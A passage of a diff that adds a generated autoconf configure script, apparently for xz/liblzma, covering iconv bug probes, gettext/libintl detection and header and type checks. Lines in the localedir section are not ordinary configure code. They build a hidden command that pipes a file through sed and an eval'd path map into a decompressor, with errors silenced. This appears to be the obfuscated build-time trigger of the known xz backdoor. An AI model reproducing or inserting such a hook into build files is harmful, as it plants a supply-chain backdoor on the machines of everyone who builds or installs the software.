buf; + size_t outbytesleft = sizeof (buf); + size_t res = iconv (cd_utf8_to_88591, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if (res == 0) + result |= 1; + iconv_close (cd_utf8_to_88591); + } + } + /* Test against Solaris 10 bug: Failures are not distinguishable from + successful returns. */ + { + iconv_t cd_ascii_to_88591 = iconv_open ("ISO8859-1", "646"); + if (cd_ascii_to_88591 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\263"; + char buf[10]; + ICONV_CONST char *inptr = input; + size_t inbytesleft = strlen (input); + char *outptr = buf; + size_t outbytesleft = sizeof (buf); + size_t res = iconv (cd_ascii_to_88591, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if (res == 0) + result |= 2; + iconv_close (cd_ascii_to_88591); + } + } + /* Test against AIX 6.1..7.1 bug: Buffer overrun. */ + { + iconv_t cd_88591_to_utf8 = iconv_open ("UTF-8", "ISO-8859-1"); + if (cd_88591_to_utf8 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\304"; + static char buf[2] = { (char)0xDE, (char)0xAD }; + ICONV_CONST char *inptr = input; + size_t inbytesleft = 1; + char *outptr = buf; + size_t outbytesleft = 1; + size_t res = iconv (cd_88591_to_utf8, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if (res != (size_t)(-1) || outptr - buf > 1 || buf[1] != (char)0xAD) + result |= 4; + iconv_close (cd_88591_to_utf8); + } + } +#if 0 /* This bug could be worked around by the caller. */ + /* Test against HP-UX 11.11 bug: Positive return value instead of 0. */ + { + iconv_t cd_88591_to_utf8 = iconv_open ("utf8", "iso88591"); + if (cd_88591_to_utf8 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\304rger mit b\366sen B\374bchen ohne Augenma\337"; + char buf[50]; + ICONV_CONST char *inptr = input; + size_t inbytesleft = strlen (input); + char *outptr = buf; + size_t outbytesleft = sizeof (buf); + size_t res = iconv (cd_88591_to_utf8, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if ((int)res > 0) + result |= 8; + iconv_close (cd_88591_to_utf8); + } + } +#endif + /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is + provided. */ + { + /* Try standardized names. */ + iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP"); + /* Try IRIX, OSF/1 names. */ + iconv_t cd2 = iconv_open ("UTF-8", "eucJP"); + /* Try AIX names. */ + iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP"); + /* Try HP-UX names. */ + iconv_t cd4 = iconv_open ("utf8", "eucJP"); + if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1) + && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1)) + result |= 16; + if (cd1 != (iconv_t)(-1)) + iconv_close (cd1); + if (cd2 != (iconv_t)(-1)) + iconv_close (cd2); + if (cd3 != (iconv_t)(-1)) + iconv_close (cd3); + if (cd4 != (iconv_t)(-1)) + iconv_close (cd4); + } + return result; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_run "$LINENO" +then : + am_cv_func_iconv_works=yes +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ + conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi + + test "$am_cv_func_iconv_works" = no || break + done + LIBS="$am_save_LIBS" + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_func_iconv_works" >&5 +printf "%s\n" "$am_cv_func_iconv_works" >&6; } + case "$am_cv_func_iconv_works" in + *no) am_func_iconv=no am_cv_lib_iconv=no ;; + *) am_func_iconv=yes ;; + esac + else + am_func_iconv=no am_cv_lib_iconv=no + fi + if test "$am_func_iconv" = yes; then + +printf "%s\n" "#define HAVE_ICONV 1" >>confdefs.h + + fi + if test "$am_cv_lib_iconv" = yes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to link with libiconv" >&5 +printf %s "checking how to link with libiconv... " >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $LIBICONV" >&5 +printf "%s\n" "$LIBICONV" >&6; } + else + CPPFLAGS="$am_save_CPPFLAGS" + LIBICONV= + LTLIBICONV= + fi + + + + + + + + + + + use_additional=yes + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\" + eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + +# Check whether --with-libintl-prefix was given. +if test ${with_libintl_prefix+y} +then : + withval=$with_libintl_prefix; + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\" + eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + else + additional_includedir="$withval/include" + additional_libdir="$withval/$acl_libdirstem" + additional_libdir2="$withval/$acl_libdirstem2" + additional_libdir3="$withval/$acl_libdirstem3" + fi + fi + +fi + + if test "X$additional_libdir2" = "X$additional_libdir"; then + additional_libdir2= + fi + if test "X$additional_libdir3" = "X$additional_libdir"; then + additional_libdir3= + fi + LIBINTL= + LTLIBINTL= + INCINTL= + LIBINTL_PREFIX= + HAVE_LIBINTL= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='intl ' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./+-|ABCDEFGHIJKLMNOPQRSTUVWXYZ____|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIBINTL="${LIBINTL}${LIBINTL:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIBINTL="${LTLIBINTL}${LTLIBINTL:+ }$value" + else + : + fi + else + found_dir= + found_la= + found_so= + found_a= + eval libname=\"$acl_libname_spec\" # typically: libname=lib$name + if test -n "$acl_shlibext"; then + shrext=".$acl_shlibext" # typically: shrext=.so + else + shrext= + fi + if test $use_additional = yes; then + for additional_libdir_variable in additional_libdir additional_libdir2 additional_libdir3; do + if test "X$found_dir" = "X"; then + eval dir=\$$additional_libdir_variable + if test -n "$dir"; then + if test -n "$acl_shlibext"; then + if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then + found_dir="$dir" + found_so="$dir/$libname$shrext" + else + if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then + ver=`(cd "$dir" && \ + for f in "$libname$shrext".*; do echo "$f"; done \ + | sed -e "s,^$libname$shrext\\\\.,," \ + | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \ + | sed 1q ) 2>/dev/null` + if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then + found_dir="$dir" + found_so="$dir/$libname$shrext.$ver" + fi + else + eval library_names=\"$acl_library_names_spec\" + for f in $library_names; do + if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then + found_dir="$dir" + found_so="$dir/$f" + break + fi + done + fi + fi + fi + if test "X$found_dir" = "X"; then + if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then + found_dir="$dir" + found_a="$dir/$libname.$acl_libext" + fi + fi + if test "X$found_dir" != "X"; then + if test -f "$dir/$libname.la"; then + found_la="$dir/$libname.la" + fi + fi + fi + fi + done + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIBINTL; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + if test -n "$acl_shlibext"; then + if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then + found_dir="$dir" + found_so="$dir/$libname$shrext" + else + if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then + ver=`(cd "$dir" && \ + for f in "$libname$shrext".*; do echo "$f"; done \ + | sed -e "s,^$libname$shrext\\\\.,," \ + | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \ + | sed 1q ) 2>/dev/null` + if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then + found_dir="$dir" + found_so="$dir/$libname$shrext.$ver" + fi + else + eval library_names=\"$acl_library_names_spec\" + for f in $library_names; do + if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then + found_dir="$dir" + found_so="$dir/$f" + break + fi + done + fi + fi + fi + if test "X$found_dir" = "X"; then + if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then + found_dir="$dir" + found_a="$dir/$libname.$acl_libext" + fi + fi + if test "X$found_dir" != "X"; then + if test -f "$dir/$libname.la"; then + found_la="$dir/$libname.la" + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + LTLIBINTL="${LTLIBINTL}${LTLIBINTL:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + if test "$enable_rpath" = no \ + || test "X$found_dir" = "X/usr/$acl_libdirstem" \ + || test "X$found_dir" = "X/usr/$acl_libdirstem2" \ + || test "X$found_dir" = "X/usr/$acl_libdirstem3"; then + LIBINTL="${LIBINTL}${LIBINTL:+ }$found_so" + else + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + if test "$acl_hardcode_direct" = yes; then + LIBINTL="${LIBINTL}${LIBINTL:+ }$found_so" + else + if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then + LIBINTL="${LIBINTL}${LIBINTL:+ }$found_so" + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + haveit= + for x in $LDFLAGS $LIBINTL; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIBINTL="${LIBINTL}${LIBINTL:+ }-L$found_dir" + fi + if test "$acl_hardcode_minus_L" != no; then + LIBINTL="${LIBINTL}${LIBINTL:+ }$found_so" + else + LIBINTL="${LIBINTL}${LIBINTL:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + LIBINTL="${LIBINTL}${LIBINTL:+ }$found_a" + else + LIBINTL="${LIBINTL}${LIBINTL:+ }-L$found_dir -l$name" + fi + fi + additional_includedir= + case "$found_dir" in + */$acl_libdirstem | */$acl_libdirstem/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem/"'*$,,'` + if test "$name" = 'intl'; then + LIBINTL_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + */$acl_libdirstem2 | */$acl_libdirstem2/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem2/"'*$,,'` + if test "$name" = 'intl'; then + LIBINTL_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + */$acl_libdirstem3 | */$acl_libdirstem3/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem3/"'*$,,'` + if test "$name" = 'intl'; then + LIBINTL_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INCINTL; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + INCINTL="${INCINTL}${INCINTL:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + if test -n "$found_la"; then + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + for dep in $dependency_libs; do + case "$dep" in + -L*) + dependency_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + if test "X$dependency_libdir" != "X/usr/$acl_libdirstem" \ + && test "X$dependency_libdir" != "X/usr/$acl_libdirstem2" \ + && test "X$dependency_libdir" != "X/usr/$acl_libdirstem3"; then + haveit= + if test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem" \ + || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem2" \ + || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem3"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIBINTL; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$dependency_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$dependency_libdir"; then + LIBINTL="${LIBINTL}${LIBINTL:+ }-L$dependency_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIBINTL; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$dependency_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$dependency_libdir"; then + LTLIBINTL="${LTLIBINTL}${LTLIBINTL:+ }-L$dependency_libdir" + fi + fi + fi + fi + ;; + -R*) + dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + dep=`echo "X$dep" | sed -e 's/^X-l//'` + if test "X$dep" != Xc \ + || case $host_os in + linux* | gnu* | k*bsd*-gnu) false ;; + *) true ;; + esac; then + names_next_round="$names_next_round $dep" + fi + ;; + *.la) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + LIBINTL="${LIBINTL}${LIBINTL:+ }$dep" + LTLIBINTL="${LTLIBINTL}${LTLIBINTL:+ }$dep" + ;; + esac + done + fi + else + LIBINTL="${LIBINTL}${LIBINTL:+ }-l$name" + LTLIBINTL="${LTLIBINTL}${LTLIBINTL:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$acl_hardcode_libdir_separator"; then + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$found_dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBINTL="${LIBINTL}${LIBINTL:+ }$flag" + else + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBINTL="${LIBINTL}${LIBINTL:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + for found_dir in $ltrpathdirs; do + LTLIBINTL="${LTLIBINTL}${LTLIBINTL:+ }-R$found_dir" + done + fi + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for GNU gettext in libintl" >&5 +printf %s "checking for GNU gettext in libintl... " >&6; } +if eval test \${$gt_func_gnugettext_libintl+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) gt_save_CPPFLAGS="$CPPFLAGS" + CPPFLAGS="$CPPFLAGS $INCINTL" + gt_save_LIBS="$LIBS" + LIBS="$LIBS $LIBINTL" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +extern int _nl_msg_cat_cntr; +extern +#ifdef __cplusplus +"C" +#endif +const char *_nl_expand_alias (const char *); +#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias ("")) +#else +#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0 +#endif +$gt_revision_test_code + +int +main (void) +{ + +bindtextdomain ("", ""); +return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + eval "$gt_func_gnugettext_libintl=yes" +else case e in #( + e) eval "$gt_func_gnugettext_libintl=no" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + gt_LIBINTL_EXTRA="$INTL_MACOSX_LIBS" + + case "$host_os" in + aix*) gt_LIBINTL_EXTRA="-lpthread" ;; + esac + if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" != yes; } \ + && { test -n "$LIBICONV" || test -n "$gt_LIBINTL_EXTRA"; }; then + LIBS="$LIBS $LIBICONV $gt_LIBINTL_EXTRA" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +extern int _nl_msg_cat_cntr; +extern +#ifdef __cplusplus +"C" +#endif +const char *_nl_expand_alias (const char *); +#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias ("")) +#else +#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0 +#endif +$gt_revision_test_code + +int +main (void) +{ + +bindtextdomain ("", ""); +return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + LIBINTL="$LIBINTL $LIBICONV $gt_LIBINTL_EXTRA" + LTLIBINTL="$LTLIBINTL $LTLIBICONV $gt_LIBINTL_EXTRA" + eval "$gt_func_gnugettext_libintl=yes" + +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + fi + CPPFLAGS="$gt_save_CPPFLAGS" + LIBS="$gt_save_LIBS" ;; +esac +fi +eval ac_res=\$$gt_func_gnugettext_libintl + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + fi + + if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" = "yes"; } \ + || { { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; } \ + && test "$PACKAGE" != gettext-runtime \ + && test "$PACKAGE" != gettext-tools \ + && test "$PACKAGE" != libintl; }; then + gt_use_preinstalled_gnugettext=yes + else + LIBINTL= + LTLIBINTL= + INCINTL= + fi + + + + if test -n "$INTL_MACOSX_LIBS"; then + if test "$gt_use_preinstalled_gnugettext" = "yes" \ + || test "$nls_cv_use_gnu_gettext" = "yes"; then + LIBINTL="$LIBINTL $INTL_MACOSX_LIBS" + LTLIBINTL="$LTLIBINTL $INTL_MACOSX_LIBS" + fi + fi + + if test "$gt_use_preinstalled_gnugettext" = "yes" \ + || test "$nls_cv_use_gnu_gettext" = "yes"; then + +printf "%s\n" "#define ENABLE_NLS 1" >>confdefs.h + + else + USE_NLS=no + fi + fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether to use NLS" >&5 +printf %s "checking whether to use NLS... " >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $USE_NLS" >&5 +printf "%s\n" "$USE_NLS" >&6; } + if test "$USE_NLS" = "yes"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking where the gettext function comes from" >&5 +printf %s "checking where the gettext function comes from... " >&6; } + if test "$gt_use_preinstalled_gnugettext" = "yes"; then + if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then + gt_source="external libintl" + else + gt_source="libc" + fi + else + gt_source="included intl directory" + fi + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gt_source" >&5 +printf "%s\n" "$gt_source" >&6; } + fi + + if test "$USE_NLS" = "yes"; then + + if test "$gt_use_preinstalled_gnugettext" = "yes"; then + if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to link with libintl" >&5 +printf %s "checking how to link with libintl... " >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $LIBINTL" >&5 +printf "%s\n" "$LIBINTL" >&6; } + + for element in $INCINTL; do + haveit= + for x in $CPPFLAGS; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element" + fi + done + + fi + + +printf "%s\n" "#define HAVE_GETTEXT 1" >>confdefs.h + + +printf "%s\n" "#define HAVE_DCGETTEXT 1" >>confdefs.h + + fi + + POSUB=po + fi + + + + + INTLLIBS="$LIBINTL" + + + + + + + + gt_save_prefix="${prefix}" + gt_save_datarootdir="${datarootdir}" + gt_save_localedir="${localedir}" + if test "X$prefix" = "XNONE"; then + prefix="$ac_default_prefix" + fi + eval datarootdir="$datarootdir" + eval localedir="$localedir" + + + + + + gl_final_localedir="$localedir" + gl_localedir_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"` + case "$build_os" in + cygwin*) + case "$host_os" in + mingw* | windows*) + gl_final_localedir=`cygpath -w "$gl_final_localedir"` ;; + esac + ;; + esac + localedir_c=`printf '%s\n' "$gl_final_localedir" | sed -e "$gl_sed_double_backslashes" -e "$gl_sed_escape_doublequotes" | tr -d "$gl_tr_cr"` + localedir_c='"'"$localedir_c"'"' + + + localedir_c_make=`printf '%s\n' "$localedir_c" | sed -e "$gl_sed_escape_for_make_1" -e "$gl_sed_escape_for_make_2" | tr -d "$gl_tr_cr"` + if test "$localedir_c_make" = '\"'"${gl_final_localedir}"'\"'; then + localedir_c_make='\"$(localedir)\"' + fi + if test "x$gl_am_configmake" != "x"; then + gl_localedir_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null' + else + gl_localedir_config='' + fi + + + + + + + + + + + + + + + + + + + + + + + ac_config_commands="$ac_config_commands build-to-host" + + + localedir="${gt_save_localedir}" + datarootdir="${gt_save_datarootdir}" + prefix="${gt_save_prefix}" + + + +############################################################################### +# Checks for header files. +############################################################################### + +echo +echo "System headers and functions:" + +# There is currently no workarounds in this package if some of +# these headers are missing. + for ac_header in fcntl.h limits.h sys/time.h +do : + as_ac_Header=`printf "%s\n" "ac_cv_header_$ac_header" | sed "$as_sed_sh"` +ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" +if eval test \"x\$"$as_ac_Header"\" = x"yes" +then : + cat >>confdefs.h <<_ACEOF +#define `printf "%s\n" "HAVE_$ac_header" | sed "$as_sed_cpp"` 1 +_ACEOF + +else case e in #( + e) as_fn_error $? "Required header file(s) are missing." "$LINENO" 5 ;; +esac +fi + +done + +# immintrin.h allows the use of the intrinsic functions if they are available. +# cpuid.h may be used for detecting x86 processor features at runtime. +ac_fn_c_check_header_compile "$LINENO" "immintrin.h" "ac_cv_header_immintrin_h" "$ac_includes_default" +if test "x$ac_cv_header_immintrin_h" = xyes +then : + printf "%s\n" "#define HAVE_IMMINTRIN_H 1" >>confdefs.h + +fi +ac_fn_c_check_header_compile "$LINENO" "cpuid.h" "ac_cv_header_cpuid_h" "$ac_includes_default" +if test "x$ac_cv_header_cpuid_h" = xyes +then : + printf "%s\n" "#define HAVE_CPUID_H 1" >>confdefs.h + +fi + + + +############################################################################### +# Checks for typedefs, structures, and compiler characteristics. +############################################################################### + +ac_fn_c_check_type "$LINENO" "_Bool" "ac_cv_type__Bool" "$ac_includes_default" +if test "x$ac_cv_type__Bool" = xyes +then : + +printf "%s\n" "#define HAVE__BOOL 1" >>confdefs.h + + +fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for stdbool.h that conforms to C99 or later" >&5 +printf %s "checking for stdbool.h that conforms to C99 or later... " >&6; } +if test ${ac_cv_header_stdbool_h+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + + /* "true" and "false" should be usable in #if expressions and + integer constant expressions, and "bool" should be a valid + type name. + + Although C99 requires bool, true, and false to be macros, + C23 and C++11 overrule that, so do not test for that. + Although C99 requires __bool_true_false_are_defined and + _Bool, C23 says they are obsolescent, so do not require + them. */ + + #if !true + #error "'true' is not true" + #endif + #if true != 1 + #error "'true' is not equal to 1" + #endif + char b[true == 1 ? 1 : -1]; + char c[true]; + + #if false + #error "'false' is not false" + #endif + #if false != 0 + #error "'false' is not equal to 0" + #endif + char d[false == 0 ? 1 : -1]; + + enum { e = false, f = true, g = false * true, h = true * 256 }; + + char i[(bool) 0.5 == true ? 1 : -1]; + char j[(bool) 0.0 == false ? 1 : -1]; + char k[sizeof (bool) > 0 ? 1 : -1]; + + struct sb { bool s: 1; bool t; } s; + char l[sizeof s.t > 0 ? 1 : -1]; + + /* The following fails for + HP aC++/ANSI C B3910B A.05.55 [Dec 04 2003]. */ + bool m[h]; + char n[sizeof m == h * sizeof m[0] ? 1 : -1]; + char o[-1 - (bool) 0 < 0 ? 1 : -1]; + /* Catch a bug in an HP-UX C compiler. See + https://gcc.gnu.org/ml/gcc-patches/2003-12/msg02303.html + https://lists.gnu.org/r/bug-coreutils/2005-11/msg00161.html + */ + bool p = true; + bool *pp = &p; + +int +main (void) +{ + + bool ps = &s; + *pp |= p; + *pp |= ! p; + + /* Refer to every declared value, so they cannot be + discarded as unused. */ + return (!b + !c + !d + !e + !f + !g + !h + !i + !j + !k + + !l + !m + !n + !o + !p + !pp + !ps); + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_header_stdbool_h=yes +else case e in #( + e) ac_cv_header_stdbool_h=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdbool_h" >&5 +printf "%s\n" "$ac_cv_header_stdbool_h" >&6; } + +if test $ac_cv_header_stdbool_h = yes; then + +printf "%s\n" "#define HAVE_STDBOOL_H 1" >>confdefs.h + +fi + + +ac_fn_c_find_uintX_t "$LINENO" "8" "ac_cv_c_uint8_t" +case $ac_cv_c_uint8_t in #( + no|yes) ;; #( + *) + +printf "%s\n" "#define _UINT8_T 1" >>confdefs.h + + +printf "%s\n" "#define uint8_t $ac_cv_c_uint8_t" >>confdefs.h +;; + esac + +ac_fn_c_find_uintX_t "$LINENO" "16" "ac_cv_c_uint16_t" +case $ac_cv_c_uint16_t in #( + no|yes) ;; #( + *) + + +printf "%s\n" "#define uint16_t $ac_cv_c_uint16_t" >>confdefs.h +;; + esac + +ac_fn_c_find_intX_t "$LINENO" "32" "ac_cv_c_int32_t" +case $ac_cv_c_int32_t in #( + no|yes) ;; #( + *) + +printf "%s\n" "#define int32_t $ac_cv_c_int32_t" >>confdefs.h +;; +esac + +ac_fn_c_find_uintX_t "$LINENO" "32" "ac_cv_c_uint32_t" +case $ac_cv_c_uint32_t in #( + no|yes) ;; #( + *) + +printf 